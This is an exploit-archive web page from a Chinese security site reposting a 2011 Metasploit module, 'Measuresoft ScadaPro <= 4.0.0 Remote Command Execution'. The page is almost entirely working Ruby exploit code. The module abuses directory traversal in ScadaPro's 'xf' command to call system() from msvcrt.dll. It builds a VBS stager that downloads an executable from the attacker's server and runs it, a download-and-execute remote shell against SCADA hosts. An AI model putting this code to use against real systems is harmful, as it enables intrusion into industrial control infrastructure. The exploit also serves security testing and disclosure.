首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Measuresoft ScadaPro <= 4.0.0 Remote Command Execution
来源:http://www.metasploit.com 作者:mr_me 发布时间:2011-09-19  

##
# $Id: scadapro_cmdexe.rb 13737 2011-09-16 08:23:59Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution',
   'Description'    => %q{
     This module allows remote attackers to execute arbitray commands on
    the affected system by abusing via Directory Traversal attack when using the 'xf'
    command (execute function). An attacker can execute system() from msvcrt.dll to
    upload a backdoor and gain remote code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma',                           # Initial discovery/poc
     'mr_me <steventhomasseeley[at]gmail.com>',  # msf
     'TecR0c <tecr0c[at]tecninja.net>',          # msf
    ],
   'Version'        => '$Revision: 13737 $',
   'References'     =>
    [
     #[ 'CVE', '?'],
     #[ 'OSVDB', '?'],
     [ 'BID', '49613'],
     [ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
     [ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
     # seemed pretty accurate to us ;)
     [ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
    ],
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # truly universal
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sep 16 2011'))

   register_options(
   [
    Opt::RPORT(11234),
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
   ], self.class)
 end

 # couldn't generate a vbs or exe payload and then use the wF command
 # as there is a limit to the amount of data to write to disk.
 # so we just write out a vbs script like the old days.

 def build_vbs(url, stager_name)
  name_xmlhttp = rand_text_alpha(2)
  name_adodb   = rand_text_alpha(2)

  tmp = "#{@temp_folder}/#{stager_name}"

  vbs  = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
  vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
  vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
  vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
  vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
  vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
  vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"

  return vbs
 end

 def on_request_uri(cli, request)
  if request.uri =~ /\.exe/
   print_status("Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...")
   return if ((p=regenerate_payload(cli)) == nil)
   data = generate_payload_exe( {:code=>p.encoded} )
   send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
   return
  end
 end

 def exploit
  # In order to save binary data to the file system the payload is written to a .vbs
  # file and execute it from there.
  @payload_name = rand_text_alpha(4)
  @temp_folder  = "C:/Windows/Temp"

  if datastore['SRVHOST'] == '0.0.0.0'
   lhost = Rex::Socket.source_address('50.50.50.50')
  else
   lhost = datastore['SRVHOST']
  end

  payload_src  = lhost
  payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"

  stager_name = rand_text_alpha(6) + ".vbs"
  stager      = build_vbs(payload_src, stager_name)

  path = "..\\..\\..\\..\\..\\windows\\system32"

  createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
  download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"

  print_status("Sending 1st stage payload...")

  connect
  sock.get_once()
  sock.put(createvbs)
  sock.get_once()
  sock.put(download_execute)
  handler()
  disconnect

  super
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mini-Stream Ripper 2.9.7 DEP B
·RealNetworks Realplayer QCP Pa
·MY MP3 Player 3.0 m3u Exploit
·KnFTP 1.0.0 Server Multiple Bu
·webadmin <= Shell Upload Vulne
·Audio Gold Local Buffer Overfl
·Audio Gold Local Buffer Overfl
·Switch Media Editor(.m3u) Loca
·Audio Editor Deluxe (.m3u File
·ALL IN 1 MOBILE VIDEO Denial o
·Nortel Contact Recording Centr
·Rever Audio Converter(avi To w
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved